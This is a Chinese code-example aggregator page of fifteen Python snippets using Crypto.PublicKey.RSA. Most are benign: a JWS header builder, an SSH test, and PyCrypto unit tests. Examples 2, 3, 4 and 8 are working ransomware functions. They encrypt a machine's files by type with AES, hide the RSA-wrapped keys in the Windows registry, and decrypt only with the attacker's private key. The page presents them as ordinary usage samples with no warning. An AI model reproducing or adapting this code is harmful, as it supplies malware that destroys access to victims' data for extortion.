本文整理汇总了Python中Crypto.PublicKey.RSA属性的典型用法代码示例。如果您正苦于以下问题:Python PublicKey.RSA属性的具体用法?Python PublicKey.RSA怎么用?Python PublicKey.RSA使用的例子?那么, 这里精选的属性代码示例或许可以为您提供帮助。您也可以进一步了解该属性所在类Crypto.PublicKey
的用法示例。
在下文中一共展示了PublicKey.RSA属性的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: _jws
# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def _jws(self):
""" Return JWS dict from string account key """
with open(self.account_key, 'r') as fd:
key = fd.read()
pk = OpenSSL.crypto.load_privatekey(OpenSSL.crypto.FILETYPE_PEM, key)
pk_asn1 = OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_ASN1, pk)
k = Crypto.PublicKey.RSA.importKey(pk_asn1)
# private key public exponent in hex format
exponent = "{0:x}".format(k.e)
exponent = "0{0}".format(exponent) if len(exponent) % 2 else exponent
# private key modulus in hex format
modulus = "{0:x}".format(k.n)
header = {
"alg": "RS256",
"jwk": {
"e": self._b64(binascii.unhexlify(exponent.encode('utf8'))),
"kty": "RSA",
"n": self._b64(binascii.unhexlify(modulus.encode('utf8')))}}
return header
示例2: _iter_files
# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def _iter_files(rsa_key, base_dir=None):
try:
if isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey):
if base_dir:
if os.path.isdir(base_dir):
return os.path.walk(base_dir, lambda _, dirname, files: [globals()['tasks'].put_nowait((encrypt_file, (os.path.join(dirname, filename), rsa_key))) for filename in files], None)
else:
util.log("Target directory '{}' not found".format(base_dir))
else:
cipher = Crypto.Cipher.PKCS1_OAEP.new(rsa_key)
reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, globals()['registry_key'], 0, _winreg.KEY_READ)
i = 0
while True:
try:
filename, key, _ = _winreg.EnumValue(reg_key, i)
key = cipher.decrypt(base64.b64decode(key))
globals()['tasks'].put_nowait((decrypt_file, (filename, key)))
i += 1
except:
_winreg.CloseKey(reg_key)
break
except Exception as e:
util.log('{} error: {}'.format(_iter_files.__name__, str(e)))
示例3: encrypt_files
# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def encrypt_files(args):
"""
Encrypt all files that are not required for the machine to function
`Required`
:param str args: filename and RSA key separated by a space
"""
try:
target, _, rsa_key = args.partition(' ')
if os.path.exists(target):
if not isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey):
rsa_key = Crypto.PublicKey.RSA.importKey(rsa_key)
if not rsa_key.can_encrypt():
return "Error: RSA key cannot encrypt"
if os.path.isfile(target):
return encrypt_file(target, rsa_key)
if os.path.isdir(target):
globals()['threads']['iter_files'] = _iter_files(rsa_key, base_dir=target)
globals()['threads']['encrypt_files'] = _threader()
return "Encrypting files"
else:
return "File '{}' does not exist".format(target)
except Exception as e:
util.log("{} error: {}".format(encrypt_files.__name__, str(e)))
示例4: decrypt_files
# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def decrypt_files(rsa_key):
"""
Decrypt all encrypted files on host machine
`Required`
:param str rsa_key: RSA private key in PEM format
"""
try:
if not isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey):
rsa_key = Crypto.PublicKey.RSA.importKey(rsa_key)
if not rsa_key.has_private():
return "Error: RSA key cannot decrypt"
globals()['threads']['iter_files'] = _iter_files(rsa_key)
globals()['threads']['decrypt_files'] = _threader()
return "Decrypting files"
except Exception as e:
util.log("{} error: {}".format(decrypt_files.__name__, str(e)))
示例5: execute
# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def execute(self, args, p, preargs = ''):
cmdline = ('ssh -2 -l testuser -p %i '
'-oUserKnownHostsFile=kh_test '
'-oPasswordAuthentication=no '
# Always use the RSA key, since that's the one in kh_test.
'-oHostKeyAlgorithms=ssh-rsa '
'-a '
'-i dsa_test ') + preargs + \
' 127.0.0.1 ' + args
port = self.server.getHost().port
ssh_path = None
for path in ['/usr', '', '/usr/local']:
if os.path.exists(path+'/bin/ssh'):
ssh_path = path+'/bin/ssh'
break
if not ssh_path:
log.msg('skipping test, cannot find ssh')
raise unittest.SkipTest, 'skipping test, cannot find ssh'
cmds = (cmdline % port).split()
reactor.spawnProcess(p, ssh_path, cmds)
return p.deferred
示例6: setUp
# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def setUp(self):
self.randText = ''.join([random.choice(string.letters) for i in range(10)])
pubPath = os.path.join(basePath, 'config', 'test_key.pub')
privPath = os.path.join(basePath, 'config', 'test_key')
if not os.path.isfile(pubPath) or not os.path.isfile(privPath):
raise SkipTest('could not access RSA keypair in config folder')
self.rsa = Rsa()
# set some parameters
for e in self.rsa.params['sending']:
if e.name == 'publicKey':
e.value = pubPath
for e in self.rsa.params['receiving']:
if e.name == 'privateKey':
e.value = privPath
示例7: __init__
# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def __init__(self):
try:
from Crypto.PublicKey import RSA as r
from Crypto.Hash import SHA as s
from Crypto.Signature import PKCS1_v1_5 as p
self.RSA, self.SHA, self.PKCS1_v1_5 = r, s, p
except ImportError: # pragma: no cover
raise NotImplementedError("PyCrypto is required for " + self.NAME)
示例8: encrypt_file
# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def encrypt_file(filename, rsa_key):
"""
Encrypt a file with AES-256-OCB symmetric encryption
using a randomly generated key, encrypt the key
with RSA-2048 asymmetric encryption, then store the
filename and RSA-encrypted AES-key as a key in the
Windows Registry
`Requires`
:param str filename: target filename
:param RsaKey rsa_key: 2048-bit public RSA key
Returns True if succesful, otherwise False
"""
try:
if os.path.isfile(filename):
if os.path.splitext(filename)[1] in globals()['filetypes']:
if isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey):
cipher = Crypto.Cipher.PKCS1_OAEP.new(rsa_key)
aes_key = os.urandom(32)
with open(filename, 'rb') as fp:
data = fp.read()
ciphertext = encrypt_aes(data, aes_key)
with open(filename, 'wb') as fd:
fd.write(ciphertext)
key = base64.b64encode(cipher.encrypt(aes_key))
util.registry_key(globals()['registry_key'], filename, key)
util.log('{} encrypted'.format(filename))
return True
else:
util.log("File '{}' not found".format(filename))
except Exception as e:
util.log("{} error: {}".format(encrypt_file.__name__, str(e)))
return False
示例9: setUp
# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def setUp(self):
global RSA, Random, bytes_to_long
from Crypto.PublicKey import RSA
from Crypto import Random
from Crypto.Util.number import bytes_to_long, inverse
self.n = bytes_to_long(a2b_hex(self.modulus))
self.p = bytes_to_long(a2b_hex(self.prime_factor))
# Compute q, d, and u from n, e, and p
self.q = self.n // self.p
self.d = inverse(self.e, (self.p-1)*(self.q-1))
self.u = inverse(self.p, self.q) # u = e**-1 (mod q)
self.rsa = RSA
示例10: test_generate_1arg
# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def test_generate_1arg(self):
"""RSA (default implementation) generated key (1 argument)"""
rsaObj = self.rsa.generate(1024)
self._check_private_key(rsaObj)
self._exercise_primitive(rsaObj)
pub = rsaObj.publickey()
self._check_public_key(pub)
self._exercise_public_primitive(rsaObj)
示例11: test_generate_2arg
# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def test_generate_2arg(self):
"""RSA (default implementation) generated key (2 arguments)"""
rsaObj = self.rsa.generate(1024, Random.new().read)
self._check_private_key(rsaObj)
self._exercise_primitive(rsaObj)
pub = rsaObj.publickey()
self._check_public_key(pub)
self._exercise_public_primitive(rsaObj)
示例12: test_construct_2tuple
# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def test_construct_2tuple(self):
"""RSA (default implementation) constructed key (2-tuple)"""
pub = self.rsa.construct((self.n, self.e))
self._check_public_key(pub)
self._check_encryption(pub)
示例13: test_construct_3tuple
# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def test_construct_3tuple(self):
"""RSA (default implementation) constructed key (3-tuple)"""
rsaObj = self.rsa.construct((self.n, self.e, self.d))
self._check_encryption(rsaObj)
self._check_decryption(rsaObj)
示例14: test_construct_5tuple
# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def test_construct_5tuple(self):
"""RSA (default implementation) constructed key (5-tuple)"""
rsaObj = self.rsa.construct((self.n, self.e, self.d, self.p, self.q))
self._check_private_key(rsaObj)
self._check_encryption(rsaObj)
self._check_decryption(rsaObj)
示例15: test_construct_6tuple
# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def test_construct_6tuple(self):
"""RSA (default implementation) constructed key (6-tuple)"""
rsaObj = self.rsa.construct((self.n, self.e, self.d, self.p, self.q, self.u))
self._check_private_key(rsaObj)
self._check_encryption(rsaObj)
self._check_decryption(rsaObj)